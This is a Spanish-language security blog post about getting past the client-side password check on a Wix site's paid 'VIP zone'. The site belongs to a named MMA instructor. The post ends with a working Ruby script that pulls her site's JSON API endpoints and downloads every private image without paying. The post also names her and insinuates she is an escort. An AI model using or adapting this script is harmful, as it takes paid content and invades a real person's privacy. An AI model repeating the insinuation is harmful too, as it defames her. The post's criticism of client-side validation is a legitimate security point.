Nuevas Entradas

Esquivando la seguridad de WIX.COM

by hdbreaker

Buen dia queridos lectores, antes de iniciar esta entrada, quiero pedirles disculpas por estar un largo
periodo inactivo, mis responsabilidades laborales
incrementaron y no he logrado hacerme un tiempo para traerles algo de calidad.

Como introducción quiero contarles que he estado trabajando en varios proyectos en javascript (Node.js y Angular.js), esto conlleva dividir el ambiente de trabajo en 2 partes (Backend y FrontEnd) que se comunican por medio de un API.

Este API utiliza como en capa de transporte el famoso formato JSON (JavaScript Object Notation), el cual solo permite ser cifrado por SSL ya que para comunicarnos debidamente necesitamos establecer en el HEADER HTTP el Content-Type: application/json y al cifrarlo de alguna manera rompemos la estructura de comunicación json al transmitir texto plano encryptado. 

La solución obvia era generar un certificado SSL, y pagarle a un CA autorizado para que firmara de confianza mi certificado, lo cual no era una opción ya que el ambiente aun esta en desarrollo.

La siguiente alternativa era crear mi propio servidor CA, firmar el certificado y colocar mi CA en el circulo de confianza de las maquinas de desarrollo.


Ninguna de estas opciones me convencía, por lo cual decidí crear un middleware en nodejs, que capturara todos los request encriptados del cliente (browser) y les pasara una funcion propia de desencriptación y convertir el string nuevamente a un objeto json.

De esta forma al llegar la solicitud al controllador correspondiente lo manejaría de forma transparente como si el objeto JSON nunca hubiera sido encriptado.

Luego de resolver este problema de comunicación decidí distraerme un poco, encendí un cigarrillo  y comencé a leer un poco sobre las Artes Marciales Mixtas (MMA).

Lo curioso de esto es que llegue a un sitio web de una profesora de MMA de Buenos Aires, Argentina por medio de un video en youtube donde mostraba un poco como eran sus entrenamientos.

 ....En este punto se preguntaran... que tiene que ver las APIs con el MMA....
(paciencia)


El sitio al cual llegue es: http://www.pamelagaldos.com.ar/



Luego de ver algunos de sus videos en importantes campeonatos de MMA en Bs As. note que Pamela tiene un problema... oculta algo...

El sitio posee una ZONA VIP la cual solicita una contraseña para poder visualizar una galeria especial de imagenes y videos. Para adquirir esa contraseña, la señórita Galdos solicita una donación por mercadopago de 100$ (pregunta retorica... una donación no es lo que uno quiere donar? parece que no... ahora las donaciones tienen monto fijo!) 



Como todo especialista en seguridad informática, no podia retirarme de este sitio sin probar un poco su privacidad, intente algunos SQLI y uno q otro XSS sin resultado.

Luego decidí enumerar los directorios del sitio con algún crawler con el fin encontrar, sin exito, algo interesante. (nada relevante algunas carpetas publicas de contenido css, js. images)

En este punto ya algo cansado 6.30 am, estaba por renunciar... me levante me senté en la cama y vi mi laptop diciedome... "antes solías escribir en un blog... como se llamaba? sec...cuanto?"

Esta terrible imagen me dio fuerzas para continuar en mi busqueda, presentía que algo se me estaba escapando!

En este punto, comencé a evaluar la seguridad en capa de comunicaciones, el formulario que me solicitaba acceso debía enviar los parametros a algún lado para realizar la validación y responderme el ya odiado "contraseña incorrecta".

Inicie HTTP Live Headers... y envíe el formulario a la espera de encontrar la ruta del fichero que realizaba la validación y seguir mi análisis por aquellos rumbos.

Sorprendentemente la validación se realizaba con alguna función del lado del cliente, o lo que es lo mismo con Javascript! (no me voy a cansar de decirlo nunca! estamos en el siglo XXI, validemos del lado del servidor, POR FAVOR)

Puse manos a la obra y comencé a revisar el html+js de la vista principal, pero este estaba realmente sucio como forma de protección y utilizaba una suerte de reactive.js + angular.js todo sumamente minificado.


Mucho de los parametros del html eran generados por alguna función aleatoria, con el objetivo de complicar la lectura del código (medida de seguridad).

Luego de revisar un poco el código e intentar deducir en profundidad que estaba pasando en el sitio, decidí investigar un poco en que estaba desarrollado el sitio, donde se albergaba y leer un poco de la documentación oficial de los creadores de la plataforma, con el fin de cerrar unas cuantas ideas que tenia dando vuelta en mi cabeza.

El sitio esta montado en un servicio bastante conocido que se llama WIX, el mismo ofrece una plataforma para crear en base a distintos tipos de plantillas un sitio web custom, escalable y seguro, para desarrolladores y no desarrolladores. (Una solución similar a Wordpress y Blogger).


WIX: http://es.wix.com/
El sitio permite acceder a distintos tipos de plugins en su apartado privado en el cual cobran dependiendo el plan necesitado.

El plugin de ZONAS PREMIUMS/VIP de WIX resulta estar incluido en un paquete privado y de costo 6 USD mensuales, lo que implica que muy probablemente nuestra profesora de MMA este pagando por el servicio de WIX el cual garantiza brindar un servicio seguro por el precio establecido.



Para mi suerte la documentación de WIX es muy extensa y luego de leer bastante comprendí que su sistema de generación de plantillas dinámicas, esta regida por un muy extenso API, que permite desde gestionar archivos, hasta crear estilos css dinamicos, manteniendo toda la información fuera del servidor principal.

WIX DOCUMENTATION CENTER: http://dev.wix.com/docs/


Luego de esto no me quedaba dudas, de que el sitio: http://pamelagaldos.com.ar estaba solicitando los datos aleatorios por medio de peticiones ajax a un API RESTFull.

En este punto mi objetivo cambio, y decidí buscar en el sitio, la función (clase,controlador,etc) que contenía las BaseURLs del servidor de WIX para ver que sucedía.

Al poco tiempo de buscar encontré embebido dentro de unos tags <script></script> algo que hacia referencia a servidores externos:

Podemos ver como dentro de este script se hace referencia a serverName y alguna que otra ruta */services/* lo que prometía contener solicitudes ajax a revisar.

El problema estaba en que el código se encontraba minificado y su lectura logica era imposible debido a la cantidad de lineas del script.

Por suerte existe una solución que permite "revertir" el proceso de minificación, lo coloco entre comillas ya que es mas bien una reestructuración del codigo. (La minificación de js implica varias cosas mas que solo reducir todo a una linea, el proceso también genera variables random y reduce nombre de funciones a letras del abecedario, etc);

Para convertir el código ilegible a algo un poco mas coherente utilice: http://jsbeautifier.org/ 
Una joya en el análisis de javascript minificado.

Como resultado obtuve un largo archivo javascript estructurado con nombres de funciones y variables poco descriptivas, luego de leer y releer bastante el código llegue a lago interesante:

Dentro del código existian algunos objetos json que tenian propiedades enbebidas que se correspondian con los elementos html del sitio.

c1flq: correspondia al id del button ZONA VIP
title: correspondia al value del button
y... urls: contenian algunas direcciones con extension json! probablemente conteniendo información necesaria para cada una de las zonas privadas!

Mi pregunta era... que habra en este json? el hash para compara la contraseña del form? datos bobos? información de configuración? era hora de visitarlos!

en mi caso elegí realizar las pruebas con el API respectiva a una galería de la Zona VIP.

http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_9970654c91ff1e68cb136b2facf02541_70.json

El API nos devuelve un array enorme de información en la cual se destaca el objeto JSON "data",
el cual contiene toda la información necesaria para renderizar la vista privada de una galeria de la Zona VIP, incluyendo las imagenes y el hash de acceso:




passwordDigest: el hash con el que se compara nuestra contraseña luego de algun proceso de hasheo
image_119n: el objeto json imagen, con el nombre aleatorio actual, de nuestra ansiada imagen privada.

Con el nombre de la imagen secreta, solo bastaba encontrar el path donde estaban subidas las imagenes, para esto analizamos un poco mas el codigo del index, buscando los enlaces hacia las imagenes.

Al parecer los archivos son hosteados en otro servidor de wix, funcionando en la url:

http://static.wixstatic.com/media/:image

Con esta ruta solo nos faltaba agregarle al final el nombre de nuestra imagen privada!


Definitivamente nuestra profesora de MMA no solo pelea, sino que probablemente sea SCORT VIP de Bs As.

En este punto todo mi día cobro sentido, estar desarrollando un sistema de cryptografía para securizar un API JSON pensando que mi nivel de paranoia estaba llegando a un punto critico, y luego encontrarse con la posibilidad de evitar un sistema de autentificación de un sitio que factura por garantizar la seguridad de los datos y negocios de los clientes, debido a que WIX no securizo y encripto los datos que viajaban por su API, me dio escalofrios.

En fin aquí se ven dos problemas grandes de seguridad y el mayor afectado es Pamela!

Ella cobra $100 por  que sus clientes puedan acceder a sus imagenes HOT, y WIX le cobra $60 por un servicio inseguro que permite a terceros obtener todas las fotos de Pamela sin pagar un centavo...
Algo no cuadra... WIX se lleva mas del 50% de las ganancias de PAMELA sin contar los daños y perjuicios laborales que le produce a Pamela que alguien venga y vea sus fotos gratis!!!

Alguien pensara que estoy exagerando, y para demostrar lo contrario me propuse desarrollar un script que descargara todas las fotos privadas de PAMELA  de su Zona VIP sin pagar un centavo.

Y como hace mucho q no jugaba con mi amigo Ruby hoy le toco a el:

CODE

#Esta herramienta ha sido creada con fines educativos,
#SecuritySignal no se hace responsable por el uso indebido de la misma.
require 'json'
require 'rest-client'
baseImageUrl = "http://static.wixstatic.com/media/"
apis = [
    "http://static.wixstatic.com/sites/b4dc37_a051c9896b38484b0af98d41c78aad95_70.json.z?v=3",
    "http://staticorigin.wixstatic.com/sites/b4dc37_a051c9896b38484b0af98d41c78aad95_70.json.z?v=3",
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_a051c9896b38484b0af98d41c78aad95_70.json",
    "http://static.wixstatic.com/sites/b4dc37_a26927faf95266eb3e90539795f911c7_70.json.z?v=3",
    "http://staticorigin.wixstatic.com/sites/b4dc37_a26927faf95266eb3e90539795f911c7_70.json.z?v=3", 
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_a26927faf95266eb3e90539795f911c7_70.json",
    "http://static.wixstatic.com/sites/b4dc37_9970654c91ff1e68cb136b2facf02541_70.json.z?v=3",
    "http://staticorigin.wixstatic.com/sites/b4dc37_9970654c91ff1e68cb136b2facf02541_70.json.z?v=3",
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_9970654c91ff1e68cb136b2facf02541_70.json",
    "http://static.wixstatic.com/sites/b4dc37_e0b5e6e39a8f34d38d52cb117145b7a2_70.json.z?v=3", 
    "http://staticorigin.wixstatic.com/sites/b4dc37_e0b5e6e39a8f34d38d52cb117145b7a2_70.json.z?v=3",
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_e0b5e6e39a8f34d38d52cb117145b7a2_70.json",
    "http://static.wixstatic.com/sites/b4dc37_c453d26b8f1ad045815c326852f6ed9e_70.json.z?v=3",
    "http://staticorigin.wixstatic.com/sites/b4dc37_c453d26b8f1ad045815c326852f6ed9e_70.json.z?v=3", 
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_c453d26b8f1ad045815c326852f6ed9e_70.json",
    "http://static.wixstatic.com/sites/b4dc37_65b4d7c00981596fedcc0b29630dbd63_70.json.z?v=3", 
    "http://staticorigin.wixstatic.com/sites/b4dc37_65b4d7c00981596fedcc0b29630dbd63_70.json.z?v=3", 
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_65b4d7c00981596fedcc0b29630dbd63_70.json",
    "http://static.wixstatic.com/sites/b4dc37_94e133e7bdb916e1edcac338cae838e5_70.json.z?v=3",
    "http://staticorigin.wixstatic.com/sites/b4dc37_94e133e7bdb916e1edcac338cae838e5_70.json.z?v=3", 
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_94e133e7bdb916e1edcac338cae838e5_70.json",
    "http://static.wixstatic.com/sites/b4dc37_55de87fc383d68f53ad84448181dccfa_70.json.z?v=3",
    "http://staticorigin.wixstatic.com/sites/b4dc37_55de87fc383d68f53ad84448181dccfa_70.json.z?v=3", 
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_55de87fc383d68f53ad84448181dccfa_70.json",
    "http://static.wixstatic.com/sites/b4dc37_a50043065395619bbe15c4545cabe038_70.json.z?v=3",
    "http://staticorigin.wixstatic.com/sites/b4dc37_a50043065395619bbe15c4545cabe038_70.json.z?v=3",
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_a50043065395619bbe15c4545cabe038_70.json",
    "http://static.wixstatic.com/sites/b4dc37_edb132d4be40dee794296337c610f8f5_70.json.z?v=3", 
    "http://staticorigin.wixstatic.com/sites/b4dc37_edb132d4be40dee794296337c610f8f5_70.json.z?v=3",
    "http://fallback.wix.com/wix-html-editor-pages-webapp/page/b4dc37_edb132d4be40dee794296337c610f8f5_70.json",
]

jsonObjects = [];

apis.each { |apiUrl|
 begin
   response = RestClient.get apiUrl
   jsonObjects.push(JSON.parse(response))
 rescue => e
   e.response
 end
  
}

jsonObjects.each_with_index { |obj, i|
  obj['data']['document_data'].each { |data|
    data.each { |url|
      if(url['uri'])
        File.open('./images/'+url['uri'], 'w') do |file|
          response = RestClient.get baseImageUrl+url['uri']
          file.puts response;
        end
        puts url['uri'];
      end
    }
  }
}

Saludos!

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates